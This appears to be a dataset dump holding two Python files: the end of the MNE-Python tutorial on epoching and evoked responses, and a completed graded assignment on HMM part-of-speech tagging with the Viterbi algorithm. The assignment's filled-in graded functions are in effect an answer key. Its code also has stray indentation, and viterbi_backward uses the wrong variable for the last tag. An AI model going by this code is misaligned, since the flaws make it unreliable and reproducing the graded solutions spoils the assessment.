^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# The sample dataset includes several :term:`\"STIM\" channels <stim channel>`\n# that recorded electrical\n# signals sent from the stimulus delivery computer (as brief DC shifts /\n# squarewave pulses). These pulses (often called \"triggers\") are used in this\n# dataset to mark experimental events: stimulus onset, stimulus type, and\n# participant response (button press). The individual STIM channels are\n# combined onto a single channel, in such a way that voltage\n# levels on that channel can be unambiguously decoded as a particular event\n# type. On older Neuromag systems (such as that used to record the sample data)\n# this summation channel was called ``STI 014``, so we can pass that channel\n# name to the :func:`mne.find_events` function to recover the timing and\n# identity of the stimulus events.\n\nevents = mne.find_events(raw, stim_channel='STI 014')\nprint(events[:5])  # show the first 5\n\n###############################################################################\n# The resulting events array is an ordinary 3-column :class:`NumPy array\n# <numpy.ndarray>`, with sample number in the first column and integer event ID\n# in the last column; the middle column is usually ignored. Rather than keeping\n# track of integer event IDs, we can provide an *event dictionary* that maps\n# the integer IDs to experimental conditions or events. In this dataset, the\n# mapping looks like this:\n#\n# .. _sample-data-event-dict-table:\n#\n# +----------+----------------------------------------------------------+\n# | Event ID | Condition                                                |\n# +==========+==========================================================+\n# | 1        | auditory stimulus (tone) to the left ear                 |\n# +----------+----------------------------------------------------------+\n# | 2        | auditory stimulus (tone) to the right ear                |\n# +----------+----------------------------------------------------------+\n# | 3        | visual stimulus (checkerboard) to the left visual field  |\n# +----------+----------------------------------------------------------+\n# | 4        | visual stimulus (checkerboard) to the right visual field |\n# +----------+----------------------------------------------------------+\n# | 5        | smiley face (catch trial)                                |\n# +----------+----------------------------------------------------------+\n# | 32       | subject button press                                     |\n# +----------+----------------------------------------------------------+\n\nevent_dict = {'auditory/left': 1, 'auditory/right': 2, 'visual/left': 3,\n              'visual/right': 4, 'smiley': 5, 'buttonpress': 32}\n\n###############################################################################\n# Event dictionaries like this one are used when extracting epochs from\n# continuous data; the ``/`` character in the dictionary keys allows pooling\n# across conditions by requesting partial condition descriptors (i.e.,\n# requesting ``'auditory'`` will select all epochs with Event IDs 1 and 2;\n# requesting ``'left'`` will select all epochs with Event IDs 1 and 3). An\n# example of this is shown in the next section. There is also a convenient\n# :func:`~mne.viz.plot_events` function for visualizing the distribution of\n# events across the duration of the recording (to make sure event detection\n# worked as expected). Here we'll also make use of the :class:`~mne.Info`\n# attribute to get the sampling frequency of the recording (so our x-axis will\n# be in seconds instead of in samples).\n\nfig = mne.viz.plot_events(events, event_id=event_dict, sfreq=raw.info['sfreq'],\n                          first_samp=raw.first_samp)\n\n###############################################################################\n# For paradigms that are not event-related (e.g., analysis of resting-state\n# data), you can extract regularly spaced (possibly overlapping) spans of data\n# by creating events using :func:`mne.make_fixed_length_events` and then\n# proceeding with epoching as described in the next section.\n#\n#\n# .. _tut-section-overview-epoching:\n#\n# Epoching continuous data\n# ^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# The :class:`~mne.io.Raw` object and the events array are the bare minimum\n# needed to create an :class:`~mne.Epochs` object, which we create with the\n# :class:`~mne.Epochs` class constructor. Here we'll also specify some data\n# quality constraints: we'll reject any epoch where peak-to-peak signal\n# amplitude is beyond reasonable limits for that channel type. This is done\n# with a *rejection dictionary*; you may include or omit thresholds for any of\n# the channel types present in your data. The values given here are reasonable\n# for this particular dataset, but may need to be adapted for different\n# hardware or recording conditions. For a more automated approach, consider\n# using the `autoreject package`_.\n\nreject_criteria = dict(mag=4000e-15,     # 4000 fT\n                       grad=4000e-13,    # 4000 fT/cm\n                       eeg=150e-6,       # 150 \u03bcV\n                       eog=250e-6)       # 250 \u03bcV\n\n###############################################################################\n# We'll also pass the event dictionary as the ``event_id`` parameter (so we can\n# work with easy-to-pool event labels instead of the integer event IDs), and\n# specify ``tmin`` and ``tmax`` (the time relative to each event at which to\n# start and end each epoch). As mentioned above, by default\n# :class:`~mne.io.Raw` and :class:`~mne.Epochs` data aren't loaded into memory\n# (they're accessed from disk only when needed), but here we'll force loading\n# into memory using the ``preload=True`` parameter so that we can see the\n# results of the rejection criteria being applied:\n\nepochs = mne.Epochs(raw, events, event_id=event_dict, tmin=-0.2, tmax=0.5,\n                    reject=reject_criteria, preload=True)\n\n###############################################################################\n# Next we'll pool across left/right stimulus presentations so we can compare\n# auditory versus visual responses. To avoid biasing our signals to the\n# left or right, we'll use :meth:`~mne.Epochs.equalize_event_counts` first to\n# randomly sample epochs from each condition to match the number of epochs\n# present in the condition with the fewest good epochs.\n\nconds_we_care_about = ['auditory/left', 'auditory/right',\n                       'visual/left', 'visual/right']\nepochs.equalize_event_counts(conds_we_care_about)  # this operates in-place\naud_epochs = epochs['auditory']\nvis_epochs = epochs['visual']\ndel raw, epochs  # free up memory\n\n###############################################################################\n# Like :class:`~mne.io.Raw` objects, :class:`~mne.Epochs` objects also have a\n# number of built-in plotting methods. One is :meth:`~mne.Epochs.plot_image`,\n# which shows each epoch as one row of an image map, with color representing\n# signal magnitude; the average evoked response and the sensor location are\n# shown below the image:\n\naud_epochs.plot_image(picks=['MEG 1332', 'EEG 021'])\n\n##############################################################################\n# .. note::\n#\n#     Both :class:`~mne.io.Raw` and :class:`~mne.Epochs` objects have\n#     :meth:`~mne.Epochs.get_data` methods that return the underlying data\n#     as a :class:`NumPy array <numpy.ndarray>`. Both methods have a ``picks``\n#     parameter for subselecting which channel(s) to return; ``raw.get_data()``\n#     has additional parameters for restricting the time domain. The resulting\n#     matrices have dimension ``(n_channels, n_times)`` for\n#     :class:`~mne.io.Raw` and ``(n_epochs, n_channels, n_times)`` for\n#     :class:`~mne.Epochs`.\n#\n# Time-frequency analysis\n# ^^^^^^^^^^^^^^^^^^^^^^^\n#\n# The :mod:`mne.time_frequency` submodule provides implementations of several\n# algorithms to compute time-frequency representations, power spectral density,\n# and cross-spectral density. Here, for example, we'll compute for the auditory\n# epochs the induced power at different frequencies and times, using Morlet\n# wavelets. On this dataset the result is not especially informative (it just\n# shows the evoked \"auditory N100\" response); see :ref:`here\n# <inter-trial-coherence>` for a more extended example on a dataset with richer\n# frequency content.\n\nfrequencies = np.arange(7, 30, 3)\npower = mne.time_frequency.tfr_morlet(aud_epochs, n_cycles=2, return_itc=False,\n                                      freqs=frequencies, decim=3)\npower.plot(['MEG 1332'])\n\n###############################################################################\n# Estimating evoked responses\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# Now that we have our conditions in ``aud_epochs`` and ``vis_epochs``, we can\n# get an estimate of evoked responses to auditory versus visual stimuli by\n# averaging together the epochs in each condition. This is as simple as calling\n# the :meth:`~mne.Epochs.average` method on the :class:`~mne.Epochs` object,\n# and then using a function from the :mod:`mne.viz` module to compare the\n# global field power for each sensor type of the two :class:`~mne.Evoked`\n# objects:\n\naud_evoked = aud_epochs.average()\nvis_evoked = vis_epochs.average()\n\nmne.viz.plot_compare_evokeds(dict(auditory=aud_evoked, visual=vis_evoked),\n                             legend='upper left', show_sensors='upper right')\n\n###############################################################################\n# We can also get a more detailed view of each :class:`~mne.Evoked` object\n# using other plotting methods such as :meth:`~mne.Evoked.plot_joint` or\n# :meth:`~mne.Evoked.plot_topomap`. Here we'll examine just the EEG channels,\n# and see the classic auditory evoked N100-P200 pattern over dorso-frontal\n# electrodes, then plot scalp topographies at some additional arbitrary times:\n\n# sphinx_gallery_thumbnail_number = 13\naud_evoked.plot_joint(picks='eeg')\naud_evoked.plot_topomap(times=[0., 0.08, 0.1, 0.12, 0.2], ch_type='eeg')\n\n##############################################################################\n# Evoked objects can also be combined to show contrasts between conditions,\n# using the :func:`mne.combine_evoked` function. A simple difference can be\n# generated by negating one of the :class:`~mne.Evoked` objects passed into the\n# function. We'll then plot the difference wave at each sensor using\n# :meth:`~mne.Evoked.plot_topo`:\n\nevoked_diff = mne.combine_evoked([aud_evoked, -vis_evoked], weights='equal')\nevoked_diff.pick_types('mag').plot_topo(color='r', legend=False)\n\n##############################################################################\n# Inverse modeling\n# ^^^^^^^^^^^^^^^^\n#\n# Finally, we can estimate the origins of the evoked activity by projecting the\n# sensor data into this subject's :term:`source space` (a set of points either\n# on the cortical surface or within the cortical volume of that subject, as\n# estimated by structural MRI scans). MNE-Python supports lots of ways of doing\n# this (dynamic statistical parametric mapping, dipole fitting, beamformers,\n# etc.); here we'll use minimum-norm estimation (MNE) to generate a continuous\n# map of activation constrained to the cortical surface. MNE uses a linear\n# :term:`inverse operator` to project EEG+MEG sensor measurements into the\n# source space. The inverse operator is computed from the\n# :term:`forward solution` for this subject and an estimate of :ref:`the\n# covariance of sensor measurements <tut_compute_covariance>`. For this\n# tutorial we'll skip those computational steps and load a pre-computed inverse\n# operator from disk (it's included with the :ref:`sample data\n# <sample-dataset>`). Because this \"inverse problem\" is underdetermined (there\n# is no unique solution), here we further constrain the solution by providing a\n# regularization parameter specifying the relative smoothness of the current\n# estimates in terms of a signal-to-noise ratio (where \"noise\" here is akin to\n# baseline activity level across all of cortex).\n\n# load inverse operator\ninverse_operator_file = os.path.join(sample_data_folder, 'MEG', 'sample',\n                                     'sample_audvis-meg-oct-6-meg-inv.fif')\ninv_operator = mne.minimum_norm.read_inverse_operator(inverse_operator_file)\n# set signal-to-noise ratio (SNR) to compute regularization parameter (\u03bb\u00b2)\nsnr = 3.\nlambda2 = 1. / snr ** 2\n# generate the source time course (STC)\nstc = mne.minimum_norm.apply_inverse(vis_evoked, inv_operator,\n                                     lambda2=lambda2,\n                                     method='MNE')  # or dSPM, sLORETA, eLORETA\n\n##############################################################################\n# Finally, in order to plot the source estimate on the subject's cortical\n# surface we'll also need the path to the sample subject's structural MRI files\n# (the ``subjects_dir``):\n\n# path to subjects' MRI files\nsubjects_dir = os.path.join(sample_data_folder, 'subjects')\n# plot\nstc.plot(initial_time=0.1, hemi='split', views=['lat', 'med'],\n         subjects_dir=subjects_dir)\n\n##############################################################################\n# The remaining tutorials have *much more detail* on each of these topics (as\n# well as many other capabilities of MNE-Python not mentioned here:\n# connectivity analysis, encoding/decoding models, lots more visualization\n# options, etc). Read on to learn more!\n#\n# .. LINKS\n#\n# .. _`autoreject package`: http://autoreject.github.io/\n", "meta": {"hexsha": "295c1e60d91365ca8b3ab5b5cb0a9b87cf610d51", "size": 19889, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/intro/plot_10_overview.py", "max_stars_repo_name": "ragatti/mne-python", "max_stars_repo_head_hexsha": "c6825a49c3452db616fc980d62d33f6dddf4cd65", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-04-25T05:01:54.000Z", "max_stars_repo_stars_event_max_datetime": "2020-04-25T05:01:54.000Z", "max_issues_repo_path": "tutorials/intro/plot_10_overview.py", "max_issues_repo_name": "ragatti/mne-python", "max_issues_repo_head_hexsha": "c6825a49c3452db616fc980d62d33f6dddf4cd65", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tutorials/intro/plot_10_overview.py", "max_forks_repo_name": "ragatti/mne-python", "max_forks_repo_head_hexsha": "c6825a49c3452db616fc980d62d33f6dddf4cd65", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 51.9295039164, "max_line_length": 79, "alphanum_fraction": 0.6437729398, "include": true, "reason": "import numpy", "num_tokens": 4574, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.16667540468797667, "lm_q1q2_score": 0.07425881555316687}}
{"text": "# Importing packages and loading in the data set \nfrom utils_pos import get_word_tag, preprocess  \nimport pandas as pd\nfrom collections import defaultdict\nimport math\nimport numpy as np\n\n# load in the training corpus\nwith open(\"WSJ_02-21.pos\", 'r') as f:\n    training_corpus = f.readlines()\n\nprint(f\"A few items of the training corpus list\")\nprint(training_corpus[0:5])\n\n# read the vocabulary data, split by each line of text, and save the list\nwith open(\"hmm_vocab.txt\", 'r') as f:\n    voc_l = f.read().split('\\n')\n\nprint(\"A few items of the vocabulary list\")\nprint(voc_l[0:50])\nprint()\nprint(\"A few items at the end of the vocabulary list\")\nprint(voc_l[-50:])\n\n# vocab: dictionary that has the index of the corresponding words\nvocab = {} \n\n# Get the index of the corresponding words. \nfor i, word in enumerate(sorted(voc_l)): \n    vocab[word] = i       \n    \nprint(\"Vocabulary dictionary, key is the word, value is a unique integer\")\ncnt = 0\nfor k,v in vocab.items():\n    print(f\"{k}:{v}\")\n    cnt += 1\n    if cnt > 20:\n        break\n        \n# load in the test corpus\nwith open(\"WSJ_24.pos\", 'r') as f:\n    y = f.readlines()\n\nprint(\"A sample of the test corpus\")\nprint(y[0:10])\n\n#corpus without tags, preprocessed\n_, prep = preprocess(vocab, \"test.words\")     \n\nprint('The length of the preprocessed test corpus: ', len(prep))\nprint('This is a sample of the test_corpus: ')\nprint(prep[0:10])\n\n# Part 1: Parts-of-speech tagging\n# UNQ_C1\ndef create_dictionaries(training_corpus, vocab):\n    \"\"\"\n    Input: \n        training_corpus: a corpus where each line has a word followed by its tag.\n        vocab: a dictionary where keys are words in vocabulary and value is an index\n    Output: \n        emission_counts: a dictionary where the keys are (tag, word) and the values are the counts\n        transition_counts: a dictionary where the keys are (prev_tag, tag) and the values are the counts\n        tag_counts: a dictionary where the keys are the tags and the values are the counts\n    \"\"\"\n    \n    # initialize the dictionaries using defaultdict\n    emission_counts = defaultdict(int)\n    transition_counts = defaultdict(int)\n    tag_counts = defaultdict(int)\n    \n    # Initialize \"prev_tag\" (previous tag) with the start state, denoted by '--s--'\n    prev_tag = '--s--' \n    \n    # use 'i' to track the line number in the corpus\n    i = 0 \n    \n    # Each item in the training corpus contains a word and its POS tag\n    # Go through each word and its tag in the training corpus\n    for word_tag in training_corpus:\n        \n        # Increment the word_tag count\n        i += 1\n        \n        # Every 50,000 words, print the word count\n        if i % 50000 == 0:\n            print(f\"word count = {i}\")\n            \n        # get the word and tag using the get_word_tag helper function (imported from utils_pos.py)\n        word, tag = get_word_tag(word_tag,vocab) \n        \n        # Increment the transition count for the previous word and tag\n        transition_counts[(prev_tag, tag)] += 1\n        \n        # Increment the emission count for the tag and word\n        emission_counts[(tag, word)] += 1\n\n        # Increment the tag count\n        tag_counts[tag] += 1\n\n        # Set the previous tag to this tag (for the next iteration of the loop)\n        prev_tag = tag\n        \n    return emission_counts, transition_counts, tag_counts\n  \n  emission_counts, transition_counts, tag_counts = create_dictionaries(training_corpus, vocab)\n  \n  # get all the POS states\nstates = sorted(tag_counts.keys())\nprint(f\"Number of POS tags (number of 'states'): {len(states)}\")\nprint(\"View these POS tags (states)\")\nprint(states)\n\nprint(\"transition examples: \")\nfor ex in list(transition_counts.items())[:3]:\n    print(ex)\nprint()\n\nprint(\"emission examples: \")\nfor ex in list(emission_counts.items())[200:203]:\n    print (ex)\nprint()\n\nprint(\"ambiguous word example: \")\nfor tup,cnt in emission_counts.items():\n    if tup[1] == 'back': print (tup, cnt) \n      \n# UNQ_C2 (UNIQUE CELL IDENTIFIER, DO NOT EDIT)\n# GRADED FUNCTION: predict_pos\n\ndef predict_pos(prep, y, emission_counts, vocab, states):\n    '''\n    Input: \n        prep: a preprocessed version of 'y'. A list with the 'word' component of the tuples.\n        y: a corpus composed of a list of tuples where each tuple consists of (word, POS)\n        emission_counts: a dictionary where the keys are (tag,word) tuples and the value is the count\n        vocab: a dictionary where keys are words in vocabulary and value is an index\n        states: a sorted list of all possible tags for this assignment\n    Output: \n        accuracy: Number of times you classified a word correctly\n    '''\n    \n    # Initialize the number of correct predictions to zero\n    num_correct = 0\n    \n    # Get the (tag, word) tuples, stored as a set\n    all_words = set(emission_counts.keys())\n    \n    # Get the number of (word, POS) tuples in the corpus 'y'\n    total = len(y)\n    for word, y_tup in zip(prep, y): \n\n        # Split the (word, POS) string into a list of two items\n        y_tup_l = y_tup.split()\n        \n        # Verify that y_tup contain both word and POS\n        if len(y_tup_l) == 2:\n            \n            # Set the true POS label for this word\n            true_label = y_tup_l[1]\n\n        else:\n            # If the y_tup didn't contain word and POS, go to next word\n            continue\n    \n        count_final = 0\n        pos_final = ''\n        \n        # If the word is in the vocabulary...\n        if word in vocab:\n            for pos in states:\n\n            ### START CODE HERE (Replace instances of 'None' with your code) ###\n                        \n                # define the key as the tuple containing the POS and word\n                key = (pos, word)\n\n                # check if the (pos, word) key exists in the emission_counts dictionary\n                if key in emission_counts.keys(): # complete this line\n\n                # get the emission count of the (pos,word) tuple \n                    count = emission_counts.get(key,0)\n\n                    # keep track of the POS with the largest count\n                    if count>count_final: # complete this line\n\n                        # update the final count (largest count)\n                        count_final = count\n\n                        # update the final POS\n                        pos_final = pos\n\n            # If the final POS (with the largest count) matches the true POS:\n            if pos_final==true_label: # complete this line\n                \n                # Update the number of correct predictions\n                num_correct += 1\n            \n    ### END CODE HERE ###\n    accuracy = num_correct / total\n    \n    return accuracy\n\naccuracy_predict_pos = predict_pos(prep, y, emission_counts, vocab, states)\nprint(f\"Accuracy of prediction using predict_pos is {accuracy_predict_pos:.4f}\")\n\n# UNQ_C3\ndef create_transition_matrix(alpha, tag_counts, transition_counts):\n    ''' \n    Input: \n        alpha: number used for smoothing\n        tag_counts: a dictionary mapping each tag to its respective count\n        transition_counts: transition count for the previous word and tag\n    Output:\n        A: matrix of dimension (num_tags,num_tags)\n    '''\n    # Get a sorted list of unique POS tags\n    all_tags = sorted(tag_counts.keys())\n    \n    # Count the number of unique POS tags\n    num_tags = len(all_tags)\n    \n    # Initialize the transition matrix 'A'\n    A = np.zeros((num_tags,num_tags))\n    \n    # Get the unique transition tuples (previous POS, current POS)\n    trans_keys = set(transition_counts.keys())\n    \n    # Go through each row of the transition matrix A\n    for i in range(num_tags):\n        \n        # Go through each column of the transition matrix A\n        for j in range(num_tags):\n\n            # Initialize the count of the (prev POS, current POS) to zero\n            count = 0\n        \n            # Define the tuple (prev POS, current POS)\n            # Get the tag at position i and tag at position j (from the all_tags list)\n            key = (all_tags[i], all_tags[j])\n\n            # Check if the (prev POS, current POS) tuple \n            # exists in the transition counts dictionary\n            if key in trans_keys: #complete this line\n                \n                # Get count from the transition_counts dictionary \n                # for the (prev POS, current POS) tuple\n                count = transition_counts.get(key,0)\n                \n            # Get the count of the previous tag (index position i) from tag_counts\n            count_prev_tag = tag_counts.get(all_tags[i],0)\n            \n            # Apply smoothing using count of the tuple, alpha, \n            # count of previous tag, alpha, and total number of tags\n            A[i,j] = (count + alpha)/(count_prev_tag+num_tags*alpha)\n    \n    return A\n  \nalpha = 0.001\nA = create_transition_matrix(alpha, tag_counts, transition_counts)\n# Testing your function\nprint(f\"A at row 0, col 0: {A[0,0]:.9f}\")\nprint(f\"A at row 3, col 1: {A[3,1]:.4f}\")\n\nprint(\"View a subset of transition matrix A\")\nA_sub = pd.DataFrame(A[30:35,30:35], index=states[30:35], columns = states[30:35] )\nprint(A_sub)\n\n# UNQ_C4\ndef create_emission_matrix(alpha, tag_counts, emission_counts, vocab):\n    '''\n    Input: \n        alpha: tuning parameter used in smoothing \n        tag_counts: a dictionary mapping each tag to its respective count\n        emission_counts: a dictionary where the keys are (tag, word) and the values are the counts\n        vocab: a dictionary where keys are words in vocabulary and value is an index.\n               within the function it'll be treated as a list\n    Output:\n        B: a matrix of dimension (num_tags, len(vocab))\n    '''\n    \n    # get the number of POS tag\n    num_tags = len(tag_counts)\n    \n    # Get a list of all POS tags\n    all_tags = sorted(tag_counts.keys())\n    \n    # Get the total number of unique words in the vocabulary\n    num_words = len(vocab)\n    \n    # Initialize the emission matrix B with places for\n    # tags in the rows and words in the columns\n    B = np.zeros((num_tags, num_words))\n    \n    # Get a set of all (POS, word) tuples \n    # from the keys of the emission_counts dictionary\n    emis_keys = set(list(emission_counts.keys()))\n    \n    # Go through each row (POS tags)\n    for i in range(num_tags): # complete this line\n        \n        # Go through each column (words)\n        for j in range(num_words): # complete this line\n\n            # Initialize the emission count for the (POS tag, word) to zero\n            count = 0\n                    \n            # Define the (POS tag, word) tuple for this row and column\n            key =  (all_tags[i], vocab[j])\n\n            # check if the (POS tag, word) tuple exists as a key in emission counts\n            if key in emis_keys: # complete this line\n        \n                # Get the count of (POS tag, word) from the emission_counts d\n                count = emission_counts[key]\n                \n            # Get the count of the POS tag\n            count_tag = tag_counts[all_tags[i]]\n                \n            # Apply smoothing and store the smoothed value \n            # into the emission matrix B for this row and column\n            B[i,j] = (count+alpha)/(count_tag+num_words*alpha)\n\n    return B\n  \n# creating your emission probability matrix. this takes a few minutes to run. \nB = create_emission_matrix(alpha, tag_counts, emission_counts, list(vocab))\n\nprint(f\"View Matrix position at row 0, column 0: {B[0,0]:.9f}\")\nprint(f\"View Matrix position at row 3, column 1: {B[3,1]:.9f}\")\n\n# Try viewing emissions for a few words in a sample dataframe\ncidx  = ['725','adroitly','engineers', 'promoted', 'synergy']\n\n# Get the integer ID for each word\ncols = [vocab[a] for a in cidx]\n\n# Choose POS tags to show in a sample dataframe\nrvals =['CD','NN','NNS', 'VB','RB','RP']\n\n# For each POS tag, get the row number from the 'states' list\nrows = [states.index(a) for a in rvals]\n\n# Get the emissions for the sample of words, and the sample of POS tags\nB_sub = pd.DataFrame(B[np.ix_(rows,cols)], index=rvals, columns = cidx )\nprint(B_sub)\n\n# Part 3: Viterbi Algorithm and Dynamic Programming\n# UNQ_C5\ndef initialize(states, tag_counts, A, B, corpus, vocab):\n    '''\n    Input: \n        states: a list of all possible parts-of-speech\n        tag_counts: a dictionary mapping each tag to its respective count\n        A: Transition Matrix of dimension (num_tags, num_tags)\n        B: Emission Matrix of dimension (num_tags, len(vocab))\n        corpus: a sequence of words whose POS is to be identified in a list \n        vocab: a dictionary where keys are words in vocabulary and value is an index\n    Output:\n        best_probs: matrix of dimension (num_tags, len(corpus)) of floats\n        best_paths: matrix of dimension (num_tags, len(corpus)) of integers\n    '''\n    # Get the total number of unique POS tags\n    num_tags = len(tag_counts)\n    \n    # Initialize best_probs matrix \n    # POS tags in the rows, number of words in the corpus as the columns\n    best_probs = np.zeros((num_tags, len(corpus)))\n    \n    # Initialize best_paths matrix\n    # POS tags in the rows, number of words in the corpus as columns\n    best_paths = np.zeros((num_tags, len(corpus)), dtype=int)\n    \n    # Define the start token\n    s_idx = states.index(\"--s--\")\n    \n    # Go through each of the POS tags\n    for i in range(num_tags): # complete this line\n        \n        # Handle the special case when the transition from start token to POS tag i is zero\n        if A[s_idx,i]==0: # complete this line\n            \n            # Initialize best_probs at POS tag 'i', column 0, to negative infinity\n            best_probs[i,0] = float('-inf')\n        \n        # For all other cases when transition from start token to POS tag i is non-zero:\n        else:\n            \n            # Initialize best_probs at POS tag 'i', column 0\n            # Check the formula in the instructions above\n            best_probs[i,0] = math.log(A[s_idx,i]) + math.log(B[i,vocab[corpus[0]]]) \n\n    return best_probs, best_paths\n  \n  \nbest_probs, best_paths = initialize(states, tag_counts, A, B, prep, vocab)\n# Test the function\nprint(f\"best_probs[0,0]: {best_probs[0,0]:.4f}\") \nprint(f\"best_paths[2,3]: {best_paths[2,3]:.4f}\")\n\n# UNQ_C6\ndef viterbi_forward(A, B, test_corpus, best_probs, best_paths, vocab):\n    '''\n    Input: \n        A, B: The transition and emission matrices respectively\n        test_corpus: a list containing a preprocessed corpus\n        best_probs: an initilized matrix of dimension (num_tags, len(corpus))\n        best_paths: an initilized matrix of dimension (num_tags, len(corpus))\n        vocab: a dictionary where keys are words in vocabulary and value is an index \n    Output: \n        best_probs: a completed matrix of dimension (num_tags, len(corpus))\n        best_paths: a completed matrix of dimension (num_tags, len(corpus))\n    '''\n    # Get the number of unique POS tags (which is the num of rows in best_probs)\n    num_tags = best_probs.shape[0]\n    \n    # Go through every word in the corpus starting from word 1\n    # Recall that word 0 was initialized in `initialize()`\n    for i in range(1, len(test_corpus)): \n        \n        # Print number of words processed, every 5000 words\n        if i % 5000 == 0:\n            print(\"Words processed: {:>8}\".format(i))\n\n        # For each unique POS tag that the current word can be\n        for j in range(num_tags): # complete this line\n            \n            # Initialize best_prob for word i to negative infinity\n            best_prob_i = float('-inf')\n            \n            # Initialize best_path for current word i to None\n            best_path_i = None\n\n            # For each POS tag that the previous word can be:\n            for k in range(num_tags): # complete this line\n            \n                # Calculate the probability = \n                # best probs of POS tag k, previous word i-1 + \n                # log(prob of transition from POS k to POS j) + \n                # log(prob that emission of POS j is word i)\n                prob = best_probs[k,i-1] + math.log(A[k,j]) + math.log(B[j,vocab[test_corpus[i]]])\n\n                # check if this path's probability is greater than\n                # the best probability up to and before this point\n                if prob > best_prob_i: # complete this line\n                    \n                    # Keep track of the best probability\n                    best_prob_i = prob\n                    \n                    # keep track of the POS tag of the previous word\n                    # that is part of the best path.  \n                    # Save the index (integer) associated with \n                    # that previous word's POS tag\n                    best_path_i = k\n\n            # Save the best probability for the \n            # given current word's POS tag\n            # and the position of the current word inside the corpus\n            best_probs[j,i] = best_prob_i\n            \n            # Save the unique integer ID of the previous POS tag\n            # into best_paths matrix, for the POS tag of the current word\n            # and the position of the current word inside the corpus.\n            best_paths[j,i] = best_path_i\n\n    return best_probs, best_paths\n  \n  \n# this will take a few minutes to run => processes ~ 30,000 words\nbest_probs, best_paths = viterbi_forward(A, B, prep, best_probs, best_paths, vocab)\n\n# Test this function \nprint(f\"best_probs[0,1]: {best_probs[0,1]:.4f}\") \nprint(f\"best_probs[0,4]: {best_probs[0,4]:.4f}\") \n\n# UNQ_C7\n# UNQ_C7 (UNIQUE CELL IDENTIFIER, DO NOT EDIT)\n# GRADED FUNCTION: viterbi_backward\ndef viterbi_backward(best_probs, best_paths, corpus, states):\n    '''\n    This function returns the best path.\n    \n    '''\n    # Get the number of words in the corpus\n    # which is also the number of columns in best_probs, best_paths\n    m = best_paths.shape[1] \n    \n    # Initialize array z, same length as the corpus\n    z = [None] * m\n    \n    # Get the number of unique POS tags\n    num_tags = best_probs.shape[0]\n    \n    # Initialize the best probability for the last word\n    best_prob_for_last_word = float('-inf')\n    \n    # Initialize pred array, same length as corpus\n    pred = [None] * m\n    \n    ## Step 1 ##\n    \n    # Go through each POS tag for the last word (last column of best_probs)\n    # in order to find the row (POS tag integer ID) \n    # with highest probability for the last word\n    for k in range(num_tags): # complete this line\n\n        # If the probability of POS tag at row k \n        # is better than the previously best probability for the last word:\n        if best_probs[k,-1] > best_prob_for_last_word: # complete this line\n            \n            # Store the new best probability for the last word\n            best_prob_for_last_word = best_probs[k,m-1]\n    \n            # Store the unique integer ID of the POS tag\n            # which is also the row number in best_probs\n            z[m - 1] = k\n            \n    # Convert the last word's predicted POS tag\n    # from its unique integer ID into the string representation\n    # using the 'states' list\n    # store this in the 'pred' array for the last word\n    pred[m - 1] = states[k]\n    \n    ## Step 2 ##\n    # Find the best POS tags by walking backward through the best_paths\n    # From the last word in the corpus to the 0th word in the corpus\n    for i in range(m-1, -1, -1): # complete this line\n        \n        # Retrieve the unique integer ID of\n        # the POS tag for the word at position 'i' in the corpus\n        pos_tag_for_word_i = z[i]\n        \n        # In best_paths, go to the row representing the POS tag of word i\n        # and the column representing the word's position in the corpus\n        # to retrieve the predicted POS for the word at position i-1 in the corpus\n        z[i - 1] = best_paths[pos_tag_for_word_i,i]\n        \n        # Get the previous word's POS tag in string form\n        # Use the 'states' list, \n        # where the key is the unique integer ID of the POS tag,\n        # and the value is the string representation of that POS tag\n        pred[i - 1] = states[z[i - 1]]\n\n    return pred\n  \n# Run and test your function\npred = viterbi_backward(best_probs, best_paths, prep, states)\nm=len(pred)\nprint('The prediction for pred[-7:m-1] is: \\n', prep[-7:m-1], \"\\n\", pred[-7:m-1], \"\\n\")\nprint('The prediction for pred[0:8] is: \\n', pred[0:7], \"\\n\", prep[0:7])\n\nprint('The third word is:', prep[3])\nprint('Your prediction is:', pred[3])\nprint('Your corresponding label y is: ', y[3])\n\n# UNQ_C8\n# UNQ_C8 (UNIQUE CELL IDENTIFIER, DO NOT EDIT)\n# GRADED FUNCTION: compute_accuracy\ndef compute_accuracy(pred, y):\n    '''\n    Input: \n        pred: a list of the predicted parts-of-speech \n        y: a list of lines where each word is separated by a '\\t' (i.e. word \\t tag)\n    Output: \n        \n    '''\n    num_correct = 0\n    total = 0\n    \n    # Zip together the prediction and the labels\n    for prediction, y in zip(pred, y):\n        # Split the label into the word and the POS tag\n        word_tag_tuple = y.split()\n        \n        # Check that there is actually a word and a tag\n        # no more and no less than 2 items\n        if len(word_tag_tuple) != 2: # complete this line\n            continue \n\n        #print(word_tag_tuple)\n        # store the word and tag separately\n        word, tag = word_tag_tuple\n        \n        # Check if the POS tag label matches the prediction\n        if prediction==tag: # complete this line\n            \n            # count the number of times that the prediction\n            # and label match\n            num_correct += 1\n            \n        # keep track of the total number of examples (that have valid labels)\n        total += 1\n\n    return num_correct/total\n  \nprint(f\"Accuracy of the Viterbi algorithm is {compute_accuracy(pred, y):.4f}\")\n\n", "meta": {"hexsha": "c80f3ebc8f9ce8c35af4c025f1d20b3857506e79", "size": 21835, "ext": "py", "lang": "Python", "max_stars_repo_path": "part_of_speech_tagging/pos_tagging.py", "max_stars_repo_name": "junyaogz/pp4nlp", "max_stars_repo_head_hexsha": "9f403352dcce1874d32ba775a02cbacda0904966", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "part_of_speech_tagging/pos_tagging.py", "max_issues_repo_name": "junyaogz/pp4nlp", "max_issues_repo_head_hexsha": "9f403352dcce1874d32ba775a02cbacda0904966", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, 